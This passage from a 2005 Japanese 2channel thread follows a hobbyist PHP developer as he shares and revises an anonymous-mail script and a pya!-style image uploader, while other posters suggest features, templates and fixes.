「見れるもんなら見てみろ」ってぐらいスパゲッティになってる。
0168nobodyさん
05/01/07 23:53:01ID:???0169nobodyさん
2005/04/04(月) 22:19:27ID:/t546F/e0170nobodyさん
2005/04/04(月) 23:27:04ID:???0171nobodyさん
2005/05/07(土) 21:21:16ID:oepoEzwo一晩かかって寝ぼけつつ書いた。
中途半端だけど肩こったから停止。
http://anony-friends.no-ip.org:555/
0172nobodyさん
2005/05/07(土) 21:30:04ID:pePqZBQnwうぇおkうぇwwwwwwおkwwwwwwwwwおk
wっっうぇwwwwwwwwwwwwうぇっwwwwww
wwwwwwwwwwwwうぇwwwwうはっ
うぇwwwwwwwwwwwwwwwwwwwwwwww
w
0173nobodyさん
2005/05/07(土) 21:46:04ID:eUfuhOM9wおkwwwwwwwwwwwwwwwwwwwwwwww
っwwwおkwwwwwwwwwwwwwうはっ
っwwwwwwwwwwwwwwwおkおkwwwwww
うはっうはっwwwうぇwうはっっうぇwwwっ
wうはっ
0175nobodyさん
2005/05/08(日) 14:58:09ID:???0176nobodyさん
2005/05/08(日) 18:12:35ID:???宛先で選んだ人に届きます。
「test」と「ピヨピヨ」は僕が登録したユーザなんで、
僕に届いてますよw
登録時の情報は適当でいいんで、よかったら登録してみてくださいな。
すぐ削除もできるからw
使ってくれる人が増えないとまったくおもしろくないスクリプトなんで…
0177nobodyさん
2005/05/08(日) 21:56:36ID:???0178nobodyさん
2005/05/08(日) 22:20:53ID:???0179nobodyさん
2005/05/08(日) 23:42:50ID:???匿メールとはちょっと違うかな?
通報用には使わないでくださいw
ホントはメールアドレスの認証ができればいいんだけど、
ちょっとそこまでは手が出ないかな…
0180nobodyさん
2005/05/09(月) 01:01:11ID:???件名:testさんからのメールです。
内容:
届いた?
---
by 匿名でメールのやりとりができる的なスクリプト
http://anony-friends.no-ip.org:555/
しっかり届いていますよw
0181nobodyさん
2005/05/27(金) 23:29:12ID:???自分で書いてながら、二度と触りたくない感じ。
今度はあぷろだ作ってみました。
ttp://php-script.no-ip.org:525/sample/upload/
PHP+MySQLです。
0182nobodyさん
2005/05/31(火) 13:26:51ID:???phpinfo();
?>
PHPの色々な情報が見れるスクリプト。マジオススメ
0184nobodyさん
2005/05/31(火) 16:38:38ID:???Pass:123
これはMD5_file()の値ですよね
0185nobodyさん
2005/06/01(水) 13:10:58ID:???どもですw
ソースあげときました。
>>184
んーと、どうだったかな。。。
$now = date("Y-m-d H:i:s");
$key = md5($now);
だったような気がします。
日付のMD5です。
保存されるファイル名は、
$password = md5($_POST['password']);
$file_name = $key . $password . ".拡張子";
だったと思います。
ついでに、pya!をマネた画像アップローダを作ってみました。
まだ途中だけどw
ttp://php-script.no-ip.org:525/sample/msp/
cssよく知らんくせに使ってるんで、
IE以外だとかなり崩れると思います。
勉強せにゃなぁ…
0186nobodyさん
2005/06/01(水) 14:11:32ID:???md5_file()って関数があるんですね。
今知りましたw
便利そうなので覚えておきます。
0187nobodyさん
2005/06/02(木) 07:06:22ID:l3hS8Oxkさっさと画像アップローダのソース公開汁!
0188nobodyさん
2005/06/02(木) 07:07:56ID:???|l |l l |l | |i
|i l |i l| li |
∩
_,,..,,n,r'゙ <⌒つ
./ ゚ 3 ヽ )´
) l ゚ ll ∩ ノ そ
Σ `'ー---‐'' (
⌒ヽ/V⌒v、/⌒ ビダァァァン!!
0189nobodyさん
2005/06/02(木) 11:17:20ID:???楽しみにしています。
0190nobodyさん
2005/06/02(木) 11:55:43ID:???すいません、まだソースが整理できてないんで、
しばらく無理です。
>>189
どもです。
そろそろ完成かなぁという感じなんですが、
具体的に「こういう機能があればなぁ」とかありますか?
できることは限られてるけどw
0193nobodyさん
2005/06/02(木) 15:11:40ID:???ハァハァ繋がった。
まずはデザインかなぁ、フォントサイズ固定の部分とか色が・・・とか。
まぁその辺は自分でいじれるから良いか。
pya!で不便なところと言うとサムネが表示されないところなんですよね。
クリックするまでわからないと言うのは不便。
それをタイトルで引き付けてバランスを取ってると思うんですが
少佐の所はユーザーが登録するんですよね?
そうなるとどんな絵か想像が付かないのが延々と並ぶわけで
見る気がそげるかもしれません。
投稿する際どういった画像かを事前に知らせる事が出来ると良いかも。
例えば投稿の際いくつか用意されたアイコンをクリックするとか。
^-^(→お笑い) ´д`(→グロ) *^ー^*(→エロ) と言った具合に。
0194nobodyさん
2005/06/02(木) 15:28:57ID:???[a]投稿回数に応じたカウント、評価(投稿する事で何か得られると言う事です)
[b]画像削除機能
[c]ランク画像のジャンルわけ またはジャンル表示
んーむ微妙だ。orz
0195nobodyさん
2005/06/02(木) 16:08:38ID:???どもです。
回線が切れた様子は無いけど…なんでだったんでしょうねw
しばらく天気悪いみたいなので、今週はプチプチ切れるかもです。
デザインについてはアレです。
僕はまったく心得がないので、これが限界です。マジでw
フォントサイズが固定なのも苦肉の策だったりします。
理解してないくせにcss使ってるんで、
フォントサイズいじると崩れまくるんですよね。
かなり改良の余地ありです。
pya!さんとの大きな違いは、ユーザが投稿したものが即反映されるってトコです。
長所でもあり短所でもあり。
手動でアップロード処理してない分だけ、荒らしやすいと思います。
サムネイルと「グロ」等の区分については一考してみます。
ただ、サムネイルを表示すると、えらい縦長の構成になりそうな…
>>194
カウントは…うーん、どういうロジックにすればいいのやら。
「名前+トリップ」で個人を判断かなぁ。
IPアドレスじゃ変動しちゃうし。
管理者用のコンパネは、面倒なのでやめました。
該当ファイルを削除すると、「削除済み」と表示されるようにしました。
ジャンルごとのランキングもいいですね。考えてみます。
僕のお粗末な頭じゃ思いつかないアイディアをありがとうございましたw
0196nobodyさん
2005/06/02(木) 16:24:41ID:???過去ログ化されてるファイルについては「グロ」とかのアラート出ないような…
わざとなのか気付いてないのか僕の勘違いなのか知らないけど。
0197nobodyさん
2005/06/02(木) 16:35:25ID:???[1]デザイン部分と機能部分で分離できるとハァハァかも
→テンプレも出来ますし、いじりやすいですね
[2]投稿者カウンタはcookieじゃだめぽですか?
[3]各スレッドに広告表示ページとかあると便利かも
[4]FireFoxで見ると・・・ドンマイ!
0198nobodyさん
2005/06/02(木) 17:32:45ID:???[1]
テンプレ化はかなりめんどくさい気がします。
というか、具体的にどこをどうテンプレにすりゃいいのやら…w
最後の最後に余力があれば…という感じです。
[2]
クッキーだけはダメぽです。
個人的に嫌いなだけだけどw
[3]
広告をつけたことがないのでどういう原理になってるのか知らないんですが、
それはHTML挿入するだけのようなw
[4]
それは僕のcssの使い方がウンコなだけですw
0200nobodyさん
2005/06/02(木) 18:48:44ID:???無いって何が?
ttp://php-script.no-ip.org:525/sample/upload/?mode=download&key=f060b94fcc4c2079fc0d9005ac636468
パスワード:123
ですけど…
0201nobodyさん
2005/06/02(木) 19:49:57ID:???ジャンルを実装しますた。
「おもしろ」「グロ」「エロ」の3種類です。
その種類はアイコンで表示されます。
ついでに、
ジャンルのアイコンにマウスを乗っけると、
Javascriptで画像のサムネイルがポップアップするようにしました。
IEで動くことを確認しました。
Firefoxでは動かないことを確認しましたw
Javascriptはさっぱり知らないので、テキトーに調べました。
おかしな挙動だったらごめんなさい。
0202nobodyさん
2005/06/02(木) 20:29:14ID:???GDってgifもbmpもサポートしてないのね…
リサイズ関係を大幅に修正しますた。
ものすごくスパゲティになってきたw
ポップアップでサムネイルが出るのは、
jpgとjpegとgifとbmpとpngです。
gifとbmpはサイズが取得できないので、
ものすごく適当なサイズにリサイズされます。
0203nobodyさん
2005/06/02(木) 20:36:05ID:???一覧表示の時も、サムネイルを表示するために
そのページにあるファイルを全部読み込むっぽいです。
細い回線だとかなりしんどいかも。
いっそJPEGとGIFだけサポートにすりゃよかった…
0204nobodyさん
2005/06/02(木) 20:51:01ID:???だんだんソースがゴチャゴチャで読めなくなってきたぞ…w
0205nobodyさん
2005/06/02(木) 20:55:27ID:???ちっこいサムネールハッケソしました。
頑張ってる感が伝わりほんわかしました。ただ実装にはもう少し改善の余地があるかも。
ジャンル分けの画像は面白いですね。
エロで投稿させていただきました。配布、一般公開の際はもう少しくっきりした変化が欲しいかもです。
あとは各自(管理者)でジャンルを増やせると良いですね。
風景、動物と言った具合に。
後もう一つ何か遊び心があるとpya!との差別化が図られて面白くなると思います。
ここが一番難しいでしょうが。
0206nobodyさん
2005/06/02(木) 20:57:24ID:???ttp://jp2.php.net/manual/ja/function.getimagesize.php
0208nobodyさん
2005/06/02(木) 21:00:36ID:???自分にはここまで実現できる技術を持ち合わせていないので尊敬です。
自分の首を絞めることになりますが
シェアウェアとして配布してもいけそうな気がします。
あとはpyaのように管理者のみ投稿できるまたは、投稿されたものを管理者が
チェックしてから公開できると言うようなものがあると使い方が広がるかと思います。
自鯖は別として一般サーバーで使う場合には容量制限が厳しい為
容量制限等が出来ると助かります。
0209nobodyさん
2005/06/02(木) 21:12:17ID:???>>205
サムネイルのサイズはconfig.phpで設定できます。
エログロもあるので、あえて極小にしました。
それぞれで分けることもできるけど、そこまでやるのは正直めんどくさいですw
ジャンルを増やすのはたぶん無理です。
最初からそういう設計にしてたらできたんですけど、
既につぎはぎだらけで手も足も出ません。
もともとが「pya!っぽいの作って」って依頼だったので、
別に特徴はなくてもいいんですけどねw
次に同じようなの作ることがあれば、ぜひ機能として取り込みたいです。
>>206
思わず吹き出しました。
DBを使い始めてからはテキスト処理をしなくなり、
GDを使い始めてからはgetimagesize等を使わなくなり…
どうも頼り切っちゃう性格のようですw
0210nobodyさん
2005/06/02(木) 21:12:35ID:???[File]という部分がハイパーリンクになってますので、
そこクリックしてもらえれば。
>>208
とんでもないです。
ショボい技を切ったり貼ったりして無理矢理作ってるだけで、
正直ソースなんか読めたもんじゃないです。
自分でも読む気がしないしw
この程度のデキではシェアウェアとしては考えてません。
配布するかどうかもわかんないですが、するとしたらフリーです。
> 管理者のみ投稿できるまたは、投稿されたものを管理者が チェックしてから公開できる
pya!さんのマネして作ってるので、こういう意見はごもっともだと思います。
が、あえて誰でも投稿できるようにしました。
管理者用のコンパネまで作り込んでれば、「これは公開〜」とか選べるといいんですけどね。
今回はそこまでは無理です。
ファイル1つあたりのサイズはconfig.phpで設定できます。
が、全体の制限は…無いですw
過去ログのページ数もconfig.phpで設定可能なので、
完全にファイルを消しちゃうと、ページ数を増やした時にマズいかなぁ、と。
最後に、
容量うんぬんもキツいもんがありますが、
それより何よりMySQLに対するクエリの発行がハンパじゃなく多いです。
ものすごく鯖に負担がかかると思われます。
こんなん配布したら殴られそうだw
0211nobodyさん
2005/06/02(木) 21:21:26ID:???0212nobodyさん
2005/06/02(木) 21:24:37ID:???bmpもgifもpngもしっかりリサイズできるようになりますた。
感謝!
>>211
ttp://php-script.no-ip.org:525/sample/msp/caution.php?no=14
0213nobodyさん
2005/06/04(土) 13:36:44ID:???ちょいと画像あぷろだをテンプレ化しようと踏ん張ってるんですが、
いかんせんcssの知識もデザインのセンスも無いので困ってます。
誰かテンプレいじってくれませんか?w
0215nobodyさん
2005/06/05(日) 00:58:18ID:???実は他人のスクリプトってほとんど見たことないので、
テンプレートってどういう感じなのかさっぱり知らなかったりします。
PHP知らなくても、HTMLさえ書ければ配置できると思います。
というか、テンプレ化した際にポロポロと機能がこぼれ落ちました。
・「グロ」「エロ」の場合でもcaution.phpを経由しません。
・サムネイルも読み込みがしんどいのでやめました。
・cssをよく知らないので、かなり相性悪いかも…
そんな感じですorz
テンプレ化前↓
ttp://php-script.no-ip.org:525/sample/msp/
テンプレ化後↓
ttp://php-script.no-ip.org:525/sample/msp2/
自分からお願いしといて何ですが、
ソースはまだちょっとアレなので今は出せません…w
0216nobodyさん
2005/06/05(日) 01:21:38ID:???自分でも頭が混乱するぐらいよく分からない作りになってます。
こんなハズじゃなかったorz
0217nobodyさん
2005/06/05(日) 14:00:34ID:???テンプレとはphpのテンプレートなどを使用したhtmlファイルとかのことか?
cssテンプレートのことか?
htmlなどならさらしてくれ 協力する
テンプレ化後はテーブル使用してるな
0218nobodyさん
2005/06/05(日) 14:26:01ID:???少佐はトリップなりコテハンデブーすべし。
0219少佐 ◆tkyK4yl1H6
2005/06/05(日) 16:38:25ID:???とりあえずテンプレ部分だけあげておきます。
ttp://php-script.no-ip.org:525/sample/upload/?mode=download&key=f058beec4b38b468a96c06234ff041c2
パスワード:major
#実際の動きも見ずに書けるわけないけどw
0220nobodyさん
2005/06/05(日) 16:53:27ID:???ただ
>管理者用のコンパネまで作り込んでれば、「これは公開〜」とか選べるといいんですけどね。
>今回はそこまでは無理です。
>それより何よりMySQLに対するクエリの発行がハンパじゃなく多いです。
>ものすごく鯖に負担がかかると思われます。
>こんなん配布したら殴られそうだw
ってレス見てなんかモチベーションが激しく下がった。
すげぇ物に仕上げるから手伝えっていうならウォォォォ!となるが
今回は無理、鯖負担すげぇ、中途半端でいいでしょ的な発言見ると
手伝う事に意味は有るんだろうかと。
中途半端なままで良いと開発者が思うならデザインもこのままで良いかと思うんだ。
鯖負担がものすごい物なら使わないだろうし。
俺としては開発者の今後を聞きたいわけです。
0221少佐 ◆tkyK4yl1H6
2005/06/05(日) 17:16:17ID:???正直なところ、すごいものを作る実力も予定もないです。
何より、作り始めた動機が適当です。
クエリ発行での負担というのは実際どの程度のものなのか知りません。
テキスト処理の方が重いのかもしれないし、そんなことはないのかもしれないです。
前にも書いたように、他人のスクリプトを読まない人間なので、
比較できません。
重いんだろうなぁ、たぶん。という感じです。
やっぱ最初の設計から失敗してると思います。
「pya!っぽいの作って」と言われたので、
pya!さんを見ながらPHPもデザインも一緒に作ったわけで。
そうではなく、ベースとなるテンプレから作るべきでした。
ということで、今後の予定。
おそらくこのスクリプトはこれ以上には発展しません。
発表会スレで人様に頼るのもおかしな話なので、
テンプレ作ってというお願いも取り下げます。
すいません。
0222少佐 ◆tkyK4yl1H6
2005/06/05(日) 17:27:19ID:???> 管理者用のコンパネまで作り込んでれば、「これは公開〜」とか選べるといいんですけどね。
> 今回はそこまでは無理です。
前にも書きましたけど、pya!さんとは違い、
「誰でも投稿できる掲示板」ということで作ってるので、
最初からそういう考えはありませんでした。今も無いです。
「誰でも投稿できるor管理者が許可する」というスイッチは
あったら便利だろうなぁ、とは思います。
↑そういう理由で、これが今回は無理という意味です。
0223nobodyさん
2005/06/05(日) 17:48:44ID:???>おそらくこのスクリプトはこれ以上には発展しません。
>発表会スレで人様に頼るのもおかしな話なので、
>テンプレ作ってというお願いも取り下げます。
って事はこれで終了かな?
配布もしないのかな・・・。
http://php-script.no-ip.org:525/sample/msp2/ は凄い事になってますがw
少佐の行動力と発想力は大好きなのでゴミ度0のスクリプトを期待しています。
オツカレサマンサ。
0224少佐 ◆tkyK4yl1H6
2005/06/05(日) 18:14:28ID:???>>223
どもです。
もーちょい自力でテンプレをいじり、
まともに見れるようになったら配布する予定です。
なぜか最近「スクリプト書きたい病」にかかってたので、
ちまちまと書いてました。
これからも惰性でちまちまと書きますw
0225少佐 ◆tkyK4yl1H6
2005/06/05(日) 19:51:50ID:???ttp://php-script.no-ip.org:525/sample/msp2/test.php
一番下の部分でテンプレを選択すると、反映されます。
ftp://msp2_template:major@php-script.no-ip.org/
からテンプレをアップロードすると、選択肢に表示されるようになります。
テンプレというより、スキンに近いような形になってしまった…
むしろテンプレとスキンの違いもよく分かってないですがw
0227nobodyさん
2005/06/05(日) 22:10:23ID:???style2.cssのビックリセンスはなんだw
目がチカチカしますた。
とりあえず「pya!カラー」を導入してはどうだろう。
真似る事は悪い事じゃない。
0228nobodyさん
2005/06/05(日) 22:22:11ID:???style999.cssで少し遊んでみます。
0229少佐 ◆tkyK4yl1H6
2005/06/05(日) 23:14:55ID:???>>227
「このテンプレをいじると、ここがこういう感じに変わりますよ」
ってのを示したかっただけなので、チカチカには意味はありませんw
>>228
どなたがアップロードされたのか知らないけど、
999のやつはよさげですね。
ありがたいっす。
0230nobodyさん
2005/06/05(日) 23:21:07ID:???999で遊ぼうと思いましたが挫折しますた。
意見良いですか?
Goodランキングのテンプレ
Badランキングのテンプレ
Imageランキングのテンプレ
Movieランキングのテンプレ
Soundランキングのテンプレ
Flashランキングのテンプレ
Hitランキングのテンプレ
↑が細かく分かれすぎてるのが使い辛いです。
いっその事「サイドメニュー」とかでひとくくりにしてもらった方が。
0231少佐 ◆tkyK4yl1H6
2005/06/05(日) 23:31:19ID:???ご意見どもです。
> ↑が細かく分かれすぎてるのが使い辛いです。
> いっその事「サイドメニュー」とかでひとくくりにしてもらった方が。
ごもっともです。
配置はtemplate_index.phpの1つでいじれるので、
ランキングごとのテンプレは必要ないっすね。
まさかバラバラに設定する人も居ないだろうしw
#「ランキングの1位」「ランキングの2位」って感じで個別に分けたい!って意見も
#1人からだけ頂きましたがw 無謀なのでやめました。
0233少佐 ◆tkyK4yl1H6
2005/06/05(日) 23:47:38ID:???えーと、できると思います。
が、何をアップしたのやらよく覚えてないです。
>>225のFTPからダウンロードできるかもです。
>>230
「ランキング」という形で統一しました。
Badランキングだけは「Bad:○件」という形が予想されるので、別ファイルになってます。
0234nobodyさん
2005/06/06(月) 00:04:20ID:???ランキングのテンプレで変更できると少佐はイケメンになります。
0236少佐 ◆tkyK4yl1H6
2005/06/06(月) 00:07:07ID:???indexのテンプレじゃなくてランキングのテンプレに書かせろよ!って意味ですね。
考える人もびっくりするぐらい考え込んでみます。
0237少佐 ◆tkyK4yl1H6
2005/06/06(月) 00:08:53ID:???10秒ほど考えて答えが出ました。
全ランキングのテンプレを統一したので、
ランキングのテンプレで変更するのは無理です。
indexのテンプレに書くということで…
以上、イケメンじゃない僕からのお願いでしたorz
0240少佐 ◆tkyK4yl1H6
2005/06/06(月) 00:33:10ID:???ありがとです(´・ω・`)
じっくり考えてみたんですが、やっぱり無理そうです。
デフォルトのテンプレでは、
<tr>
<td>
ほにゃらら
</td>
</tr>
をループで処理してるのですが、
先頭にタイトルを付けちゃうと、タイトルも含めてループされちゃいます。
タイトル部分だけ別に1つファイルを作るってのも考えてみましたが、
それじゃあまり意味がないのでやめました。
テーブルを使う人もいれば、Div等しか使わない人もいるので、
決め打ちにしちゃうのは絶対ダメなので…
やっぱindexテンプレに書いてもらうしかなかとです(´;ω;`)
0241nobodyさん
2005/06/06(月) 01:21:13ID:???いやイイですよ。タイトルもループされちゃいますもんね。
完成イメージも無くフラフラ遊んでますので。
----自分メモ----
・index.php
・style.css
・ranking.php
を変更すた
---------------
0243少佐 ◆tkyK4yl1H6
2005/06/06(月) 07:30:14ID:???起こされついでに、ちょいとだけいじりました。
ttp://php-script.no-ip.org:525/sample/msp2/test.php
に携帯でアクセスすると…
ただし!
・JpegとPNG以外は対応してません。
・DoCoMoしか持ってないので、DoCoMoしか確認してません。しかもかなり古いやつ。
#最近はFlashとかmp3が再生できる携帯とかあるんかなぁ…
0244少佐 ◆tkyK4yl1H6
2005/06/06(月) 08:39:15ID:???Jpegのみに変更しました。
#スレ汚しまくりw
0245nobodyさん
2005/06/06(月) 15:36:59ID:???[新規投稿][ヘルプ][管理者]ってのはどの部分で変更?
0246少佐 ◆tkyK4yl1H6
2005/06/06(月) 16:06:12ID:???えとですね、
/menu/template_menu.php
になります。
実はそこは完全にふつうのHTMLですw
0247nobodyさん
2005/06/06(月) 16:23:21ID:???少佐、少佐、menu.phpの部分はわかったけどそれ[適用]できます?
テンプレ選ぶ項目にmenu.phpの選択肢が無いような。
0248少佐 ◆tkyK4yl1H6
2005/06/06(月) 16:24:33ID:???ついさっき気付きましたw
細かい部分なので後回しにしたまま忘れてました。
修正中ですm(_ _)m
0249少佐 ◆tkyK4yl1H6
2005/06/06(月) 16:27:37ID:???すまそorz
0250少佐 ◆tkyK4yl1H6
2005/06/06(月) 16:33:20ID:???なんでうまく置換できてないのやらorz
0251少佐 ◆tkyK4yl1H6
2005/06/06(月) 16:37:45ID:???リサイズしない場合の指定がおかしかったorz
0252nobodyさん
2005/06/06(月) 16:54:39ID:???style999.css
template999_index.php
template_new999.php
template_rankingu999.php
template_ranking_bad999.php
template_menu999.php
イメージが無いままやったのでダラダラです。すいません。
少佐ガンバテ。
0253少佐 ◆tkyK4yl1H6
2005/06/06(月) 17:00:00ID:???ありがとうございます。
わかりにくいものの、一応できるってことがわかってよかったです。
ほとんどテストしてないものでorz
助かりました!
0255nobodyさん
2005/06/06(月) 17:44:07ID:???暖色は暑苦しいので爽やかにをコンセプトに色を変更しましたが失敗しました。
もう好きにしてください orz
style999.css →暑苦しい
style998.css →キモ爽やか
0256少佐 ◆tkyK4yl1H6
2005/06/06(月) 17:53:33ID:???とんでもないです。
僕がやったら薄い色+薄い色で最強に見にくくなっちゃうのでw
「デフォルトテンプレ+サンプルテンプレ」として、
999と998を使わせて頂きますm(_ _)m
今はテンプレを選択できるようになってますが、
ちかぢか選択肢を無くします。
view.phpの方のテンプレも書かなきゃな…
0257nobodyさん
2005/06/06(月) 18:11:55ID:???かわいくて好きだったんですが。
新規投稿画面とヘルプももう少し見やすいと配布の際助かるかもしれません。
少佐の技術力はうらやましいなぁ。何度phpにチャレンジして挫折したかw
0258少佐 ◆tkyK4yl1H6
2005/06/06(月) 18:33:04ID:???どもです。
ジャンルの画像は、テンプレ化の際にこぼれ落ちた機能の1つですw
あとでちらっと考えてみます。
新規投稿とヘルプと管理者画面と画像表示画面は、まだテンプレ化が終わってません。
そろそろ手をつけようかなぁ、という感じですw
技術は全く無いです。
9割がifしか使ってないので、ソース見たらかなりあほらしくなりますよw
0259少佐 ◆tkyK4yl1H6
2005/06/06(月) 18:39:25ID:???「ジャンルを画像で表示するか文字で表示するか」
のスイッチをつけました。
今は画像表示になってます。
0260nobodyさん
2005/06/06(月) 21:42:06ID:???ttp://updir.net/smp/n2/index.html
上のように表示される機能ですね。画面の切り替えが出来たりとか。
これできちゃったら、もう大佐ですよ。大佐。
敬礼!
0261少佐 ◆tkyK4yl1H6
2005/06/06(月) 22:09:38ID:???えとですね、
まず…
僕がまともにPHPさわり始めたのが、そのupdirをいじってからです。
頼まれていじってたものの、なかなか勉強になりました。
ということで、updirは個人的に大先生なのですw
今の状態だと「1ページ20件」とか設定できるんですが、
そういう計算がかなり苦手なんですよねw
なので、アルバム形式はどうだろうなぁっていう感じです。
僕の力じゃかなりしんどいかもw
画面の切り替えってのは、今の形とアルバム形式との切り替えって意味ですかね?
0262少佐 ◆tkyK4yl1H6
2005/06/06(月) 22:28:33ID:???アルバム形式が難しい理由で、こういうのもあります。
携帯用のページを見てもらったら分かると思うんですが(いや、分からんか)、
サムネイルはGDで作成してます。
そんで、GDではjpegとbmpとpngぐらいのサムネイルしか作れないです。たぶん。
この掲示板はaviもmpegもwmvもwmaもmp3もwavもflashもアップロードできるので、
そのへんのサムネイルをどうするかって問題があります。
特に動画なんかは、ファイルを全部読み込まないといけないので、
1ページ読み込むだけでものすごい時間がかかることになっちゃいます。
jpgとbmpとpngのみ表示、って制約をつけたらできるのかもしれませんがw
0263nobodyさん
2005/06/06(月) 23:10:24ID:???>この掲示板はaviもmpegもwmvもwmaもmp3もwavもflashもアップロードできるので、
>そのへんのサムネイルをどうするかって問題があります。
画像ファイル以外はサムネール表示してもあまり意味が無いと思います。
それでも並べるという場合には画像ファイル以外のサムネールをあらかじめ作っておき
それを表示させるという風に・・・とか。
※画像以外のサムネール
→FLASHと書かれた画像とか。
あくまでこのアルバム機能を導入する場合ですが。
今のものの出来上がりが見えてから考えるというのでもイイと思いますね。
0264少佐 ◆tkyK4yl1H6
2005/06/06(月) 23:16:54ID:???んーと、jpegとpngとgif(widthとheight指定して縮めるだけ)とbmpだけなら、
ものすごく頭ひねればできるかもしれないです。
その場合、管理者が表示方法を決めるか、ユーザが決められるようにするのか、ってのも悩みどころです。
Flashや動画のサムネイルなんですが、これはPHPから自動的に取得ってできるのかなぁ。
少なくとも僕はやりかた知らないです。
ユーザがサムネイルもアップロードってのもアリですが、
それは今回はやりません。
もしやるとしたら(できるかわかんないけど)、jpegとpngとgifとbmpのみの
アルバム形式になると思います。
とりあえず今はアップロードのとこをいじってますw
0265nobodyさん
2005/06/06(月) 23:40:49ID:???管理画面ににログインしたときに投稿者のホスト情報があると良い希ガス。
確か、ホストで投稿者弾けたよね?
0266少佐 ◆tkyK4yl1H6
2005/06/06(月) 23:49:37ID:???あ、ごもっともです。
今から管理画面のテンプレ化なので、
ホスト情報も「###host###」とかで表示できるようにしてみます。
0267少佐 ◆tkyK4yl1H6
2005/06/07(火) 00:58:42ID:???頭がメモリ不足になりますた。
今日はここまでにします。
皆さんアドバイスありがとうございました。
ToDo:template_admin_delete.phpのあたり
0268nobodyさん
2005/06/07(火) 01:00:48ID:???0269少佐 ◆tkyK4yl1H6
2005/06/07(火) 01:32:26ID:???いちお管理コンパネの方もできたかなぁ…
テンプレだけで23ファイルってありえねええw
なんかコンパネの方はテンプレ化がむずいです。
>>268
ありがd!!!
さて、まだやることあったかな…
記憶が飛んじゃいましたw
0270nobodyさん
2005/06/07(火) 02:23:27ID:???0273少佐 ◆tkyK4yl1H6
2005/06/07(火) 02:48:18ID:???ああ、なるほど。
それは兄貴がネタで作ってるだけのサイトですw
「オッサン死す」とか書いてあるしw
同じ回線使ってるので、80番取られてるんですよorz
0274少佐 ◆tkyK4yl1H6
2005/06/07(火) 02:50:39ID:???ttp://php-script.no-ip.org:525/sample/msp2/album.php
いちおさわり始めました。
できる見込みが薄いので、できなかったら消しますw
できたとしても、構造的にテンプレ化は無理そうです。
0275nobodyさん
2005/06/07(火) 02:57:26ID:???画像クリックすると直接画像に飛ぶようで。
view.php?no=* へ飛ぶと二度手間になっちゃいますかねぇ。
それとアルバムは別画面で完全に切り離して表示させちゃってもいいかなと。
今の画像の量ですと問題ありませんが後々増えてくるときつそうです。
0276少佐 ◆tkyK4yl1H6
2005/06/07(火) 03:04:59ID:???んーと、画像に直リンしてるのは暫定的にしてるだけです。
別画面というか、おそらくconfig.phpで設定した表示形式になると思います。
album.phpってのも暫定的なものなので、うまくいくようならindex.phpに組み込みます。
ページで分割したら画像の量は関係ないんじゃないかなぁ、と思ってるんですがどうなんでしょ。
0277nobodyさん
2005/06/07(火) 03:19:51ID:???と言うのは[ 新規投稿 ] [ ヘルプ ] [ 管理者 ] の直下に
数十枚がずらーっと並ぶのは見た目的に結構きついのではという事です。
それならいっそアルバムはアルバムのページを作って見れた方が見やすいのでは
と思ったもので。
さすがに頭が働かなくなってきました。寝ます。ノシ
0278少佐 ◆tkyK4yl1H6
2005/06/07(火) 03:32:33ID:???んん?
なんか話が噛み合ってないようなw
アルバムはアルバム、今までのは今までので、まったく別です。
config.phpにあるスイッチで、どっちのタイプで表示するか選択します(予定)。
で、リサイズして表示するので、バランスは崩れないんじゃないかなぁ、という感じです。
1ページの表示量も設定できるようにする予定(ただの予定)なので…
逆に、config.phpのスイッチではなく、
ユーザが選択できるようにするというのもアリかなぁとは思います。
お休みなさい。
0279少佐 ◆tkyK4yl1H6
2005/06/07(火) 06:35:34ID:???もしかしたらバグだらけの可能性もアリ。
あんまテストできてないです。
0280少佐 ◆tkyK4yl1H6
2005/06/07(火) 06:59:14ID:???iモード用のリサイズと違ってGDを使ってません。
<img src = "ほにゃらら" width="ほにゃら" height = "ほにゃらら">
としているだけなので、読み込みがしんどいです。
#仕方なくですorz
0281nobodyさん
2005/06/07(火) 13:49:02ID:???少佐はほぼ寝ないでスクリプトいじってる気がするのだが仕事とか大丈夫なんだろうか。
0283nobodyさん
2005/06/07(火) 20:58:21ID:???0284nobodyさん
2005/06/07(火) 21:24:26ID:???無理しないでガンガレ
0285少佐 ◆tkyK4yl1H6
2005/06/07(火) 22:19:48ID:???明日から広島まで遠征するので、
今日は早めに寝ますノシ
0286nobodyさん
2005/06/07(火) 22:38:16ID:???徹夜しまくってたら肌荒れとかしてけっこうきつい
よよよろしく
0287nobodyさん
2005/06/09(木) 19:04:22ID:???0288nobodyさん
2005/06/09(木) 22:15:54ID:???0289少佐 ◆tkyK4yl1H6
2005/06/10(金) 00:24:25ID:???見たくもない戦艦大和を見てきました。
車酔いで死んできます。
0290少佐 ◆tkyK4yl1H6
2005/06/11(土) 08:16:28ID:???まともなcssを書けないので、あまり似てないのは大目に見てください…
ところで、今回は助言がほしいです。
広告についてです。
pya!さんのページの右下にあるような広告スペースって、
いくつかの種類の広告が出てますよね。
これってどのように実現されてるんでしょうか?
ttp://pya.cc/import/amazon1.html
ここを見ると、xml(っていうの?よく知らないw)で書かれたページが
iframeで埋め込まれてるようなのですが、
このリンクは自動生成されるような仕組みなのですか?
何というか、その…
ユーザ側で広告のコードを1つずつ書いてるわけではなく、
特定のコードが広告主から配布されるのでしょうか?
「広告スペースを作れ」って声がちらほら聞こえてくるので、
教えてもらえるとうれしいです。
よろしくお願いします(∀`)
0291少佐 ◆tkyK4yl1H6
2005/06/11(土) 09:11:49ID:???専用のタグが用意されるんですね。
複数の広告を表示する場合は、同じタグを書くだけでいいのかな…たぶん。
0292少佐 ◆tkyK4yl1H6
2005/06/11(土) 10:20:14ID:???#それだけでいちいち書き込むやつw
0293少佐 ◆tkyK4yl1H6
2005/06/15(水) 18:58:39ID:???msp2@php-script.no-ip.orgに写メールを送信すると、
画像あぷろだに反映されると思います。
#ヘタなコードなのでgifしか対応してない予感ですorz
DoCoMoのD251iとauのtalbyではうまく投稿できました。
が、投稿できない機種もあるんじゃないかと思います。
気になるのでテスト投稿してもらえるとうれしいです。
パケ代は払えませんけどw
0294少佐 ◆tkyK4yl1H6
2005/06/15(水) 23:21:14ID:???という感じです。
VodafoneのV301SHもうまく投稿できたようです。
0295nobodyさん
2005/06/16(木) 22:35:48ID:???0296少佐 ◆tkyK4yl1H6
2005/06/17(金) 01:52:50ID:???すんませんorz
ソースの公開って、自宅の押し入れの公開ぐらい恥ずかしいもんですね。
扉はふつうなのに、中にゴキブリが300匹!的な。
まだ公開できない理由が2つほどあります。
1つはまだ言えないんですが、
